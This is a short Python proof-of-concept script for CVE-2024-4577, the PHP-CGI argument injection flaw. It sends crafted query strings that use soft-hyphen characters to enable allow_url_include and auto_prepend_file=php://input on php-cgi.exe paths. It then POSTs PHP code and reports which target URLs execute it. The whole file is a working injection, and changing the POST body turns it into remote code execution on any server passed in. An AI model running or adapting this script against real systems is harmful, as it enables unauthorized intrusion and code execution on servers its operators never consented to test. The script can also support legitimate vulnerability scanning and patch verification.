exploit.py

"""PoC exploit"""

import argparse

import requests


def detect_vulnerability(target):
    """
    This function tests a target URL for the CVE-2024-4577 vulnerability, which involves PHP in CGI mode
    misinterpreting a soft hyphen character (0xAD) as a normal hyphen (0x2D), leading to potential
    command injection.

    Args:
    - target (str): The base URL of the target web server.
    """
    # Payloads to test for the vulnerability using different paths to PHP-CGI
    test_paths = [
        "/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input",
        "/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input",
    ]

    # PHP code that will be included if the vulnerability is present
    payload = '<?php echo "vulnerable"; ?>'
    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    # Iterate over each test path to check for vulnerability
    for path in test_paths:
        complete_url = f"{target}{path}"
        try:
            # Send a POST request with the payload
            response = requests.post(
                complete_url, headers=headers, data=payload, timeout=10
            )
            content = response.text.lower()

            # Check if the response indicates the vulnerability
            if any(
                keyword in content
                for keyword in ["vulnerable", "directory", "index of"]
            ):
                print(f"(+) Potential vulnerability found at: {complete_url}")
            else:
                print(f"(-) No vulnerability found at: {complete_url}")
        except Exception as error:
            # Handle any errors that occur during the request
            print(f"(!) Error while testing {complete_url}: {error}")


def main():
    """
    Main function to parse command-line arguments and initiate the vulnerability detection process.
    """
    parser = argparse.ArgumentParser(
        description="Exploit for PHP CGI Argument Injection (CVE-2024-4577)"
    )
    parser.add_argument("--target", "-t", required=True, help="Specify the target URL")
    args = parser.parse_args()

    # Ensure the target URL does not end with a slash to avoid double slashes in the URL
    url = args.target.rstrip("/")
    detect_vulnerability(url)


if __name__ == "__main__":
    main()